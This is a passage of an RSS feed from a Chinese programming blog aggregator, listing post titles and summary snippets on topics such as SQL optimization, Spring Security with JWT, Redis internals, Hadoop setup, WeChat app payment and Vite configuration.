I=rgb2gray(I); subplot(2,2,2); imhist(I); title(&#39;原始图像直方图&#39;); I1=histeq(I); %图像均衡化 subplot(2,2,3); imshow(I1); title(&#39;图像均衡化&#39;); subplot(2,2,4); imhist(I1); title(&#39;直方图均衡化&#39;); 二、频域滤波增强 利用图像变换方法将原来的图像空间中的图像以某种形式转换到其他空间中，然后利用该空间的特有性质方便地处理图像，最后再转换回原来的图像空间中，从而得到处理后的图像。&#xA;（1） 低通滤波器</description>
    </item>
    <item>
      <title>SQL 分析与优化</title>
      <link>https://bchobby.github.io/posts/5732df12d5dbdff19de38e321b0974a1/</link>
      <pubDate>Thu, 01 Dec 2022 19:25:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5732df12d5dbdff19de38e321b0974a1/</guid>
      <description>SQL的快慢有些时候决定着系统的性能，作为一名 SQL BOY，SQL 优化已经成了必须掌握的技能，今天我们就来学习如何分析 SQL ，SQL 优化的案例以及一些 SQL 优化经验。&#xA;一. 数据准备 创建表 t1 和 t2 ：&#xA;CREATE TABLE `t1` ( `id` int NOT NULL AUTO_INCREMENT, `a` int DEFAULT NULL, `b` varchar(16) DEFAULT NULL, `c` varchar(16) DEFAULT NULL, PRIMARY KEY (`id`), KEY `idx_a` (`a`), KEY `idx_b_a` (`b`,`a`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8; CREATE TABLE `t2` ( `id` int NOT NULL AUTO_INCREMENT, `a` int DEFAULT NULL, `b` varchar(16) DEFAULT NULL, `c` varchar(16) DEFAULT NULL, PRIMARY KEY (`id`), UNIQUE KEY `uk_a` (`a`), KEY `idx_b_c` (`b`,`c`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8; sql 脚本循环插入数据：</description>
    </item>
    <item>
      <title>idea 还原git merge</title>
      <link>https://bchobby.github.io/posts/a1d513aff6019276ebe562e05795a122/</link>
      <pubDate>Thu, 01 Dec 2022 17:28:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a1d513aff6019276ebe562e05795a122/</guid>
      <description>1、场景：错误的将分支代码 merge 到master, 此时我需要还原提交。&#xA;方法1.文件数比较少的时候，直接右击 revert 方法2.文件比较多的时候还原git 提交节点。&#xA;1、选择提交节点的id&#xA;2、 回滚代码到本地，&#xA;最后一步，还原到本地后，将代码再提交到服务器。&#xA;参考：IntelliJ Idea --- GIT 代码仓库还原到某一个提交的节点_兮家小二的博客-CSDN博客_idea代码还原到某个节点</description>
    </item>
    <item>
      <title>使用BigDecimal保留两位小数</title>
      <link>https://bchobby.github.io/posts/1657c3e84f218b7b9f092cc1e9f04f86/</link>
      <pubDate>Thu, 01 Dec 2022 17:20:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1657c3e84f218b7b9f092cc1e9f04f86/</guid>
      <description>new BigDecimal().setScale(2,BigDecimal.ROUND_HALF_UP)</description>
    </item>
    <item>
      <title>2023年Java面试题及答案整理</title>
      <link>https://bchobby.github.io/posts/20d0c32848a63d6dcc06e69f08a3f7c4/</link>
      <pubDate>Thu, 01 Dec 2022 16:40:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/20d0c32848a63d6dcc06e69f08a3f7c4/</guid>
      <description>本文分为十九个模块，分别是：「Java 基础、容器、多线程、反射、对象拷贝、Java Web 、异常、网络、设计模式、Spring/Spring MVC、Spring Boot/Spring Cloud、Hibernate、MyBatis、RabbitMQ、Kafka、Zookeeper、MySQL、Redis、JVM」 ，如下图所示：&#xA;共包含 208 道面试题，本文的宗旨是为读者朋友们整理一份详实而又权威的面试清单，下面一起进入主题吧。&#xA;下载链接：博主已将以上这些面试题整理成了一个面试手册，是PDF版的 互联网大厂面试题&#xA;1：阿里巴巴Java面试题&#xA;2：阿里云Java面试题-实习生岗&#xA;3：腾讯Java面试题-高级&#xA;4：字节跳动Java面试题&#xA;5：字节跳动Java面试题-大数据方向&#xA;6：百度Java面试题&#xA;7：蚂蚁金服Java面试题-中级&#xA;8：蚂蚁金服Java面试题-高级&#xA;9：京东Java面试题-中级&#xA;10：拼多多Java面试题-电商部&#xA;11：商汤科技Java面试题&#xA;12：中软国际Java面试题-初级&#xA;13：唯品会Java面试题&#xA;14：携程Java面试题-高级&#xA;15：软通动力Java面试题&#xA;Java 基础&#xA;JDK 和 JRE 有什么区别？&#xA;JDK：Java Development Kit 的简称，Java 开发工具包，提供了 Java 的开发环境和运行环境。&#xA;JRE：Java Runtime Environment 的简称，Java 运行环境，为 Java 的运行提供了所需环境。&#xA;具体来说 JDK 其实包含了 JRE，同时还包含了编译 Java 源码的编译器 Javac，还包含了很多 Java 程序调试和分析的工具。简单来说：如果你需要运行 Java 程序，只需安装 JRE 就可以了，如果你需要编写 Java 程序，需要安装 JDK。&#xA;== 和 equals 的区别是什么？&#xA;「== 解读」</description>
    </item>
    <item>
      <title>springBoot整合spring security&#43;JWT实现单点登录与权限管理前后端分离</title>
      <link>https://bchobby.github.io/posts/38f1dd38be202ff867522ee494a0f143/</link>
      <pubDate>Thu, 01 Dec 2022 14:06:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/38f1dd38be202ff867522ee494a0f143/</guid>
      <description>在前一篇文章当中，我们介绍了springBoot整合spring security单体应用版，在这篇文章当中，我将介绍springBoot整合spring secury+JWT实现单点登录与权限管理。&#xA;本文涉及的权限管理模型是基于资源的动态权限管理。数据库设计的表有 user 、role、user_role、permission、role_permission。&#xA;单点登录当中，关于访问者信息的存储有多种解决方案。如将其以key-value的形式存储于redis数据库中，访问者令牌中存放key。校验用户身份时，凭借访问者令牌中的key去redis中找value，没找到则返回“令牌已过期”，让访问者去(重新)认证。本文中的demo，是将访问者信息加密后存于token中返回给访问者，访问者携带令牌去访问服务时，服务提供者直接解密校验token即可。两种实现各有优缺点。大家也可以尝试着将本文中的demo的访问者信息存储改造成存在redis中的方式。文末提供完整的代码及sql脚本下载地址。&#xA;在进入正式步骤之前，我们需要了解以下知识点。&#xA;单点登录SSO 单点登录也称分布式认证，指的是在有多个系统的项目中，用户经过一次认证，即可访问该项目下彼此相互信任的系统。&#xA;单点登录流程 给大家画了个流程图&#xA;关于JWT jwt，全称JSON Web Token，是一款出色的分布式身份校验方案。&#xA;jwt由三个部分组成&#xA;头部：主要设置一些规范信息，签名部分的编码格式就在头部中声明。有效载荷：token中存放有效信息的部分，比如用户名，用户角色，过期时间等，但不适合放诸如密码等敏感数据，会造成泄露。签名：将头部与载荷分别采用base64编码后，用“.”相连，再加入盐，最后使用头部声明的编码类型进行编码，就得到了签名。 jwt生成的Token安全性分析&#xA;想要使得token不被伪造，就要确保签名不被篡改。然而，其签名的头部和有效载荷使用base64编码，这与明文无异。因此，我们只能在盐上做手脚了。我们对盐进行非对称加密后，在将token发放给用户。&#xA;RSA非对称加密 基本原理：同时生成两把密钥：私钥和公钥，私钥隐秘保存，公钥可以下发给信任客户端 。&#xA;公钥加密：只有私钥才能解密&#xA;私钥加密：私钥或者公钥都能解密&#xA;优缺点：&#xA;优点：安全、难以破解&#xA;缺点：耗时，但是为了安全，这是可以接受的&#xA;SpringSecurity+JWT+RSA分布式认证思路分析 通过之前的学习，我们知道了spring security主要是基于过滤器链来做认证的，因此，如何打造我们的单点登录，突破口就在于spring security中的认证过滤器。&#xA;用户认证&#xA;在分布式项目当中，现在大多数都是前后端分离架构设计的，因此，我们需要能够接收POST请求的认证参数，而不是传统的表单提交。因此，我们需要修改修&#xA;改UsernamePasswordAuthenticationFilter过滤器中attemptAuthentication方法，让其能够接收请求体。&#xA;关于spring security的认证流程分析，大家可以参考我上一篇文章《Spring Security认证流程分析--练气后期》。&#xA;另外，默认情况下，successfulAuthentication 方法在通过认证后，直接将认证信息放到服务器的session当中就ok了。而我们分布式应用当中，前后端分离，禁用了session。因此，我们需要在认证通过后生成token（载荷内具有验证用户身份必要的信息）返回给用户。&#xA;身份校验&#xA;默认情况下，BasicAuthenticationFilter过滤器中doFilterInternal方法校验用户是否登录，就是看session中是否有用户信息。在分布式应用当中，我们要修改为，验证用户携带的token是否合法，并解析出用户信息，交给SpringSecurity，以便于后续的授权功能可以正常使用。&#xA;实现步骤 （默认大家一已经创建好了数据库）&#xA;第一步：创建一个springBoot的project 这个父工程主要做依赖的版本管理。&#xA;其pom.xml文件如下&#xA;&amp;lt;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34;?&amp;gt; &amp;lt;project xmlns=&#34;http://maven.apache.org/POM/4.0.0&#34; xmlns:xsi=&#34;http://www.w3.org/2001/XMLSchema-instance&#34; xsi:schemaLocation=&#34;http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd&#34;&amp;gt; &amp;lt;modelVersion&amp;gt;4.0.0&amp;lt;/modelVersion&amp;gt; &amp;lt;modules&amp;gt; &amp;lt;module&amp;gt;common&amp;lt;/module&amp;gt; &amp;lt;/modules&amp;gt; &amp;lt;parent&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-parent&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;2.3.3.RELEASE&amp;lt;/version&amp;gt; &amp;lt;relativePath/&amp;gt; &amp;lt;!-- lookup parent from repository --&amp;gt; &amp;lt;/parent&amp;gt; &amp;lt;packaging&amp;gt;pom&amp;lt;/packaging&amp;gt; &amp;lt;groupId&amp;gt;pers.</description>
    </item>
    <item>
      <title>关于Maven配置出现的问题</title>
      <link>https://bchobby.github.io/posts/3a3e32376c8ce94306574d47af8ec104/</link>
      <pubDate>Thu, 01 Dec 2022 09:10:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3a3e32376c8ce94306574d47af8ec104/</guid>
      <description>问题一: 乱码与jdk版本问题 解决方案: 在settings.xml配置文件内设置全局jdk和编码类型 注意在&amp;lt;profiles&amp;gt;内添加如下代码&#xA;&amp;lt;profile&amp;gt; &amp;lt;id&amp;gt;jdk-1.8&amp;lt;/id&amp;gt; &amp;lt;activation&amp;gt; &amp;lt;activeByDefault&amp;gt;true&amp;lt;/activeByDefault&amp;gt; &amp;lt;jdk&amp;gt;1.8&amp;lt;/jdk&amp;gt; &amp;lt;/activation&amp;gt; &amp;lt;properties&amp;gt; &amp;lt;maven.compiler.source&amp;gt;1.8&amp;lt;/maven.compiler.source&amp;gt; &amp;lt;maven.compiler.target&amp;gt;1.8&amp;lt;/maven.compiler.target&amp;gt; &amp;lt;maven.compiler.compilerVersion&amp;gt;1.8&amp;lt;/maven.compiler.compilerVersion&amp;gt; &amp;lt;project.build.sourceEncoding&amp;gt;UTF-8&amp;lt;/project.build.sourceEncoding&amp;gt; &amp;lt;/properties&amp;gt; &amp;lt;/profile&amp;gt; 问题二: Test单元测试打印乱码问题 解决方案: 在设置内设置编码格式 第一步:&#xA;进入设置页面&#xA;第二步&#xA;设置编码类型 -Dfile.encoding=GBK&#xA;问题解决&#xA;问题三: 新建项目需要重新设置maven问题 解决方案: 在设置内修改默认目录为maven目录 第一步&#xA;第二步&#xA;第三步&#xA;第四步&#xA;第五步&#xA;第六步&#xA;设置自己的maven相关信息&#xA;问题四: idea无法识别本地仓库 注意本地仓库的存放位置 与maven目录分开放, 问题解决</description>
    </item>
    <item>
      <title>ES 如何实现向量搜索【以图搜图/语义搜索】</title>
      <link>https://bchobby.github.io/posts/057502aace4a512b6e1b061354135921/</link>
      <pubDate>Thu, 01 Dec 2022 03:30:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/057502aace4a512b6e1b061354135921/</guid>
      <description>ES 如何实现向量搜索 在 ES 的使用过程中，通过设置分词器可以灵活地按照文本字面实现搜索和查询。但是在某些场景下，向量搜索非常有必要，比如 CV 方面的以图搜图和 NLP 领域的语义搜索。较新的 ES 版本支持稠密向量搜索，详情如下。相关片段设置重在强调特定的关键点，需要根据自己具体使用的工具或方式进行改动或设置。&#xA;设置 mappings 此处重点就是 “dense_vector” 的 type 设置，&#34;dims&#34;设置为具体的向量长度。&#xA;{ &#34;mappings&#34;: { &#34;properties&#34;: { &#34;entity_name&#34;: { &#34;type&#34;: &#34;keyword&#34; }, &#34;entity_name_embedding&#34;:{ # 此处为 mappings 中关于稠密向量设置的重点 &#34;type&#34;: &#34;dense_vector&#34;, &#34;dims&#34;: 768 } } } } 新建 index 按照前面设置的 mappings 创建 index。&#xA;导入数据 以 BERT 预训练模型 [CLS] 位置的输出 768 维度的 embedding 为例，上传一维数组即可（python 中），但是长度必须严格和 mappings 中保持一致。&#xA;查询体 query body { &#34;query&#34;: { # 通过 script score 来自定义查询的分值计算 &#34;</description>
    </item>
    <item>
      <title>C&#43;&#43;-vector：vector中查找元素的下标</title>
      <link>https://bchobby.github.io/posts/39b9d68b0daf4216c3d5a671a9552723/</link>
      <pubDate>Wed, 30 Nov 2022 22:29:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/39b9d68b0daf4216c3d5a671a9552723/</guid>
      <description> 1、第一种 方法 auto it = find(a.begin(),a.end(),10); int index = it - a.begin(); 在a中的从a.begin()（包括它）到a.end()（不包括它）的元素中查找10，若存在返回其在向量中的位置&#xA;2、第二种 方法 int index = std::distance(std::begin(v),x);//x为要查找的数 3、第三种 方法 用第一个元素地址减去查找元素地址 vector&amp;lt;int&amp;gt; v; v.push_back(10); v.push_back(2); v.push_back(5); vector&amp;lt;int&amp;gt;::iterator it =find(v.begin(),v.end(),5); ///it 在这里时返回了5(值)的指针，而不是其下标，即其地址 printf(&#34;%d&#34;,*it);//可以输出5(值); vector&amp;lt;int&amp;gt;::iterator is =find(v.begin(),v.end(),10); ///因为其值的地址都是连续的所以可以用这个数在vector中的地址减去第一个数的地址 printf(&#34;%d&#34;,is-it); int index = is-it; printf(&#34;%d&#34;,v[index]); C++vector 迭代器查找元素返回下标_WGS.的博客-CSDN博客_vector返回下标&#xA;获取vector数组元素的下标的方法_发如雪Jay的博客-CSDN博客_vector查找元素下标 </description>
    </item>
    <item>
      <title>c#计算器</title>
      <link>https://bchobby.github.io/posts/9dda386698ca99d8de89f770d088c4b5/</link>
      <pubDate>Wed, 30 Nov 2022 20:44:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9dda386698ca99d8de89f770d088c4b5/</guid>
      <description>基于winform 开发的简单计算器 直接放窗体的逻辑代码 ，就一个textbox空间 其他都是button空件，UI自己，然后参照逻辑代码实现事件，即可得到上图程序&#xA;using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Runtime.InteropServices; using System.Text; using System.Threading.Tasks; using System.Windows.Forms; namespace calculator { public partial class Form1 : Form { public Form1() { InitializeComponent(); firstInput = true; } decimal prv=0;//记数 bool firstInput = true;//记录第一次输入 char fu;//判断最后输入的运算符 private bool pan2(string test) { //判断前一个是否也是运算符 if(pan(test))return true; else return false; } private void panInputTail(char test) { //判断最后输入的运算符 比执行最后运算 switch (test) { case &#39;+&#39;:prv += Convert.</description>
    </item>
    <item>
      <title>Redis_16_Redis服务器中的数据库(键值对的存放和生存时间的存放)</title>
      <link>https://bchobby.github.io/posts/68a6ddcbe8fc6e39f9f29de87caa7f3d/</link>
      <pubDate>Wed, 30 Nov 2022 20:37:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/68a6ddcbe8fc6e39f9f29de87caa7f3d/</guid>
      <description>文章目录 一、前言二、redis服务器中数据库三、从底层原理图讲解redis增删改查操作3.1 添加新键3.2 删除键3.3 更新键3.4 对键取值 四、生存时间在数据库的存储4.1 生存时间的设置与读取4.2 生存时间的底层保存（过期字典） 五、尾声 一、前言 Redis是一种基于键值对的非关系型数据库(ps: mongdb也是一种基于键值对的非关系型数据库)，有五种基本类型，每一种的都是 key-value 键值对，本文介绍Redis服务端的数据库，说一下这些 key-value 键值对是如何在redis底层存放的。&#xA;1、redis的键值对在数据库中如何存放的，如何完成增删查改的。&#xA;2、redis的键值对的过期时间/生存时间ttl在数据库中如何存放的。&#xA;二、redis服务器中数据库 让我们来见识一下redis中的数据库结构，看一下这些 key-value 是如何在redis底层存放的。&#xA;struct redisServer{ // ... //一个数组，保存着服务器中的所有数据库 redisDb *db; //服务器的数据库数量 int dbnum; // ... }; 对于上述代码和示意图的解释是：Redis服务器将所有数据库都保存在服务器状态redis.h/ redisServer结构的db数组中,db数组的每个项都是一个 redis.h/redisDb结构,每个 redisDb结构(即代码中的redisDb *db)代表一个数据库，同时，程序会根据服务器状态的donum属性(即代码中的int dbnum)来决定应该创建多少个数据库。num属性的值由服务器配置的 database选项决定,默认情况下,该选项的值为16,所以 Redis服务器默认会创建16个数据库：&#xA;切换数据库：对于redis默认的16个数据库（db0-db15）,在操作的时候可以选择将数据（五种类型均可）存放在哪个数据库中，只要将某个数据库设置成当前数据库就好(select 数目)，宏观命令如下：&#xA;底层变化：&#xA;三、从底层原理图讲解redis增删改查操作 Redis是一个键值对(key- value pair)数据库服务器,服务器中的每个数据库都由一个 redis.h/ redisDb结构表示,其中, redisDb结构的dict字典保存了数据库中的所有键值对,我们将这个字典称为键空间( key space):&#xA;键空间和用户所见的数据库是直接对应的:&#xA;1)键空间的键也就是数据库的键,每个键都是一个字符串对象;&#xA;2)键空间的值也就是数据库的值,每个值可以是字符串对象、列表对象、哈希表对象集合对象和有序集合对象中的任意一种Redis对象。&#xA;如图：&#xA;对于上图解释：redisDb即表示redis服务器中的数据库，里面有一个dict字典，里面存放数据实体（即key-value键值对），这里有三个key-value键值对，分别是&#xA;(key,value)=(“alpha”,“a b c”)为ListObjet类型，&#xA;(key,value)=(“book”,“&amp;lt;name,Redis in Action&amp;gt;&amp;lt;author,Josiah L.Carlson&amp;gt;&amp;lt;publisher,Manning&amp;gt;”)为HashObject类型,&#xA;(key,value)=(“alpha”,“hello world”)为StringObject类型</description>
    </item>
    <item>
      <title>【Hadoop】在云服务器上部署Hadoop2.7.1伪分布式集群</title>
      <link>https://bchobby.github.io/posts/49e537c2f42fbddc8c22ee023f125875/</link>
      <pubDate>Wed, 30 Nov 2022 18:22:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/49e537c2f42fbddc8c22ee023f125875/</guid>
      <description>文章目录 一、准备Hadoop压缩包并安装1、安装Hadoop（1）准备好hadoop压缩包（2）安装hadoop（3）查看是否安装成功 2、将hadoop添加到环境变量（1）在文件末尾添加以下内容（2）保存文件，刷新配置 二、伪分布式配置文件设置1、修改 `hadoop-env.sh`2、修改`core-site.xml`3、修改`hdfs-site.xml`4、拷贝`mapred-site.xml.template`文件内容并命名为`mapred-site.xml `5、修改`mapred-site.xml`6、修改 `yarn-site.xml` 三、启动Hadoop集群1、关闭防火墙2、格式化HDFS（namenode）第一次使用时要格式化3、启动HDFS4、启动YARN5、访问HDFS的WEB管理页面6、访问YARN的WEB管理页面7、停止HDFS和YARN服务 四、遇到问题NameNode启动报错：Cannot assign requested address重新格式化HDFS（1）删除残留文件（2）手动创建配置文件（3）重新格式化 我用到的资源 华为云轻量服务器一台&#xA;CentOS8JDK1.8Haddop-2.7.1.tar.gzSecureCRT（用来远程连接) 一、准备Hadoop压缩包并安装 1、安装Hadoop （1）准备好hadoop压缩包 （2）安装hadoop tar -zxvf hadoop-2.7.1.tar.gz -C /usr/local # 将hadoop安装到/usr/local目录下 （3）查看是否安装成功 /usr/local/hadoop-2.7.1/bin/hadoop version # 因为没有设置软链接，所以只能通过bin来查看 Hadoop 2.7.1 Subversion https://git-wip-us.apache.org/repos/asf/hadoop.git -r 15ecc87ccf4a0228f35af08fc56de536e6ce657a Compiled by jenkins on 2015-06-29T06:04Z Compiled with protoc 2.5.0 From source with checksum fc0a1a23fc1868e4d5ee7fa2b28a58a This command was run using /usr/local/hadoop-2.7.1/share/hadoop/common/hadoop-common-2.7.1.jar 2、将hadoop添加到环境变量 vim /etc/profile （1）在文件末尾添加以下内容 export HADOOP_HOME=/usr/local/hadoop-2.7.1 # PATH在安装jdk时已经设置,这里需要添加上HADOOP的路径 export PATH=$PATH:$JAVA_HOME/bin:$HADOOP_HOME/bin:$HADOOP_HOME/sbin （2）保存文件，刷新配置 # 刷新配置文件 source /etc/profile # 测试是否生效 hadoop version 二、伪分布式配置文件设置 先进入haoop的配置文件目录</description>
    </item>
    <item>
      <title>springboot 整合微信 APP支付</title>
      <link>https://bchobby.github.io/posts/9e566eaf82154d00d56850de6db8fa5e/</link>
      <pubDate>Wed, 30 Nov 2022 14:32:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9e566eaf82154d00d56850de6db8fa5e/</guid>
      <description>最近搞了个团油的项目，还是一个星期就干出来的项目，其中的事情就不多说了，过来人都知道。在这里介绍一下微信的APP支付吧&#xA;首先第一步，从网上找到微信的开发文档，看看你是哪种支付，是哪种支付就点哪种支付。我是APP支付就演示这个了。&#xA;到了这里 我建议开发者先去把业务流程仔细看一遍，知道我们后台要干啥，前台要干啥。（其实方便甩锅）&#xA;这里我就不再上业务流程的图了，直接说API&#xA;我没有做退款功能，只有支付功能，但是后台其实只用到了统一下单这个接口，让我们看一下需要哪些必填参数 微信后台可以直接给我们的有3个必填的参数，也是最重要的3个参数&#xA;应用id（APP_ID），商户号(MCH_ID)，应用对应的秘钥(APP_KEY)&#xA;这3个参数可以从微信的商户平台取，我自己没有就不演示了&#xA;在这里上代码&#xA;我的配置类，涉及隐私的地方，我用*代替&#xA;package com.thundersdata.backend.basic.configure; import com.github.wxpay.sdk.WXPayConfig; import org.apache.poi.util.IOUtils; import java.io.InputStream; /** * @Author: wrc * @Classname MyWxpayConfig * @Description TODO * @Date 2020/5/28 13:38 * @Created wrc */ public class MyWxpayConfig implements WXPayConfig { private byte [] certData; public MyWxpayConfig() throws Exception{ InputStream certStream = Thread.currentThread().getContextClassLoader().getResourceAsStream(&#34;cert/apiclient_cert.p12&#34;); this.certData = IOUtils.toByteArray(certStream); certStream.close(); } /** * 微信开发平台应用ID， 从微信商户取 */ public static final String APP_ID = &#34;</description>
    </item>
    <item>
      <title>springboot集成微信app支付</title>
      <link>https://bchobby.github.io/posts/6b672cfeef5e7dcaf62e103d274287ac/</link>
      <pubDate>Wed, 30 Nov 2022 14:17:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6b672cfeef5e7dcaf62e103d274287ac/</guid>
      <description>一、准备工作（以下信息需要自行开通和申请）:&#xA;public static final String APP_ID = &#34;&#34;;//app的id 需要app应用 public static final String KEY = &#34;&#34;;//api密钥 商户账户信息里面去获取 public static final String MCH_ID = &#34;&#34;;//商户的id，需要开通商户 maven项目添加依赖：&#xA;&amp;lt;!-- 微信支付 --&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.github.wxpay&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;wxpay-sdk&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;0.0.3&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; 二、开发流程：&#xA;整个流程我们只需要两个接口即可：&#xA;1.微信支付的统一下单接口（本地项目请求微信）：&#xA;URL地址：https://api.mch.weixin.qq.com/pay/unifiedorder&#xA;2.微信支付后的通知接口，是我们向外提供的（微信请求本地项目）：接口地址自行定义&#xA;三、代码：我使用的springboot restful接口方式，详解请看注释&#xA;service层：&#xA;import java.util.Map;&#xA;public interface WeixinService {&#xA;/**&#xA;* * @方法名称 payBack&#xA;* @功能描述 &amp;lt;pre&amp;gt;回调接口&amp;lt;/pre&amp;gt;&#xA;* @创建时间 2020年5月22日 下午12:50:15&#xA;* @param resXml&#xA;* @return&#xA;*/&#xA;String payBack(String resXml);&#xA;/**</description>
    </item>
    <item>
      <title>第10章综合案例1广电大数据分析</title>
      <link>https://bchobby.github.io/posts/e213cad65ac87245605ed149b29755c6/</link>
      <pubDate>Wed, 30 Nov 2022 09:22:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e213cad65ac87245605ed149b29755c6/</guid>
      <description>第10章综合案例1广电大数据分析 实验目的及要求 （1）现有用户观看历史和用户信息两个广电大数据文件，将对用户数据进行大数据分析。&#xA;实验系统环境及版本&#xA;Linux Ubuntu 20.04&#xA;JDK1.8&#xA;Hadoop3.1.0&#xA;MySQL8.0.28&#xA;Hive3.1.2&#xA;实验任务&#xA;基本信息查询；&#xA;单个用户观看市场Top20；&#xA;用户观看时长Top20；&#xA;电视观看数Top20；&#xA;电视观看时长Top20；&#xA;用户正常状态及数量。&#xA;实验内容及步骤&#xA;1.创建存储格式为TextFile的表text_see和text_user(用于存储原始数据)。&#xA;观看历史表text_see:&#xA;hive&amp;gt; create table text_see(&#xA;&amp;gt; phone_no string,&#xA;&amp;gt; duration int,&#xA;&amp;gt; station_name string,&#xA;&amp;gt; origin_time string,&#xA;&amp;gt; end_time string,&#xA;&amp;gt; res_name string,&#xA;&amp;gt; owner_code string,&#xA;&amp;gt; owner_name string,&#xA;&amp;gt; category_name string,&#xA;&amp;gt; res_type string,&#xA;&amp;gt; vod_title string,&#xA;&amp;gt; program_title string,&#xA;&amp;gt; day string,&#xA;&amp;gt; origin_time1 string,&#xA;&amp;gt; end_time1 string,</description>
    </item>
    <item>
      <title>vue3自动按需导入 unplugin-auto-import</title>
      <link>https://bchobby.github.io/posts/b369ba9d9256f12c26922fbfe3f4155b/</link>
      <pubDate>Tue, 29 Nov 2022 19:29:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b369ba9d9256f12c26922fbfe3f4155b/</guid>
      <description>第一步:&#xA;npm i unplugin-auto-import -D 或者 yarn add unplugin-auto-import -D 第二步:&#xA;修改vite.config.js的配置文件(Ts配置方法)&#xA;1): 将第二步中的代码 enable:false&#xA;在src的同级新建一个目录 types&#xA;2): 运行项目 npm run dev&#xA;在types文件夹中生成一个文件 auto-imports.d.ts&#xA;3): 将第二步中enable:true&#xA;最后再重新运行项目&#xA;import { defineConfig } from &#39;vite&#39; import vue from &#39;@vitejs/plugin-vue&#39; // 导入自动装配插件 import AutoImport from &#39;unplugin-auto-import/vite&#39; // https://vitejs.dev/config/ export default defineConfig({ plugins: [ vue(), // 配置自动装载配置 AutoImport({ // 生成配置文件，如果是ts项目，通常我们会把声明文件放在根目录/types中，注意，这个文件夹需要先建好，否则可能导致等下无法往里生成auto-imports.d.ts文件 dts: &#39;types/auto-imports.d.ts&#39;, imports: [&#39;vue&#39;, &#39;vue-router&#39;], eslintrc: { // 默认false, true启用。生成一次就可以， // 避免每次工程启动都生成， // 一旦生成配置文件之后，最好把enable关掉，即改成false。 // 否则这个文件每次会在重新加载的时候重新生成，这会导致eslint有时会找不到这个文件。当需要更新配置文件的时候，再重新打开 enabled: true, // 生成json文件,可以不配置该项，默认就是将生成在根目录 filepath: &#39;.</description>
    </item>
    <item>
      <title>最新版Photoshop 2023（ps2023）特色功能有哪些？</title>
      <link>https://bchobby.github.io/posts/74c41abaea4519e320967241ad0626c6/</link>
      <pubDate>Tue, 29 Nov 2022 18:02:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/74c41abaea4519e320967241ad0626c6/</guid>
      <description>​Photoshop 2023是一款图像处理软件，该版本已经更新到ps 2023版！最新的ps 2023中文版帮助你组合、修饰和重新混合您的照片，为您的旧黑白添加新颜色，让不需要的东西消失，或者将无聊的背景变成异国情调。&#xA;ps 2022中文版功能特色&#xA;让创意成为您的事业。&#xA;Chinzalée Sonami 是一位陶瓷艺术家，她在她的工作室、网上商店和全国各地的小商店出售她的彩色陶器。她使用 Photoshop 设计海报、传单、小册子、广告等来宣传她的业务。&#xA;修饰和重新混合您的照片。&#xA;Tropico Photo studio 背后的二人组 Forrest Aguar 和 Michelle Norris 使用 Photoshop 技术、创造性的色彩组合和尺寸将他们明亮的天堂版本带到任何地方。&#xA;Instagram 华丽图形的首选。&#xA;Nice Day Chinese Takeout 使用 Photoshop 为他们受欢迎的纽约外卖餐厅创建令人垂涎的社交帖子和滚动停止图形。&#xA;建立追随者和品牌。&#xA;Meg Lewis 使用 Photoshop 设计虚拟背景和图形，以展示她在社交上的多彩风格并建立她的个人品牌。&#xA;发现自己的艺术风格。&#xA;设计师和插画家 Aries Moross 使用 Photoshop 画笔进行绘画和绘画，将字母转化为个人艺术表达。&#xA;ps 2023系统要求&#xA;• macOS 11 或更高版本&#xA;• Apple Silicon 或 Intel Core 处理器</description>
    </item>
    <item>
      <title>MySql对统计多个维度</title>
      <link>https://bchobby.github.io/posts/6a6ba4636fe7aa55b8df82a5658322ed/</link>
      <pubDate>Tue, 29 Nov 2022 17:59:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6a6ba4636fe7aa55b8df82a5658322ed/</guid>
      <description>数据准备 SET NAMES utf8mb4; SET FOREIGN_KEY_CHECKS = 0; -- ---------------------------- -- Table structure for student -- ---------------------------- DROP TABLE IF EXISTS `student`; CREATE TABLE `student` ( `STU_ID` int(11) NOT NULL AUTO_INCREMENT COMMENT &#39;主键&#39;, `STU_NAME` varchar(6) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL COMMENT &#39;学生姓名&#39;, `STU_AGE` int(11) NULL DEFAULT NULL COMMENT &#39;学生年龄&#39;, `STU_ADDRESS` varchar(20) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL COMMENT &#39;学生地址&#39;, PRIMARY KEY (`STU_ID`) USING BTREE ) ENGINE = InnoDB AUTO_INCREMENT = 7 CHARACTER SET = utf8 COLLATE = utf8_general_ci ROW_FORMAT = Dynamic; -- ---------------------------- -- Records of student -- ---------------------------- INSERT INTO `student` VALUES (1, &#39;李华&#39;, 23, &#39;江西&#39;); INSERT INTO `student` VALUES (2, &#39;张三&#39;, 23, &#39;广东&#39;); INSERT INTO `student` VALUES (3, &#39;李四&#39;, 24, &#39;浙江&#39;); INSERT INTO `student` VALUES (4, 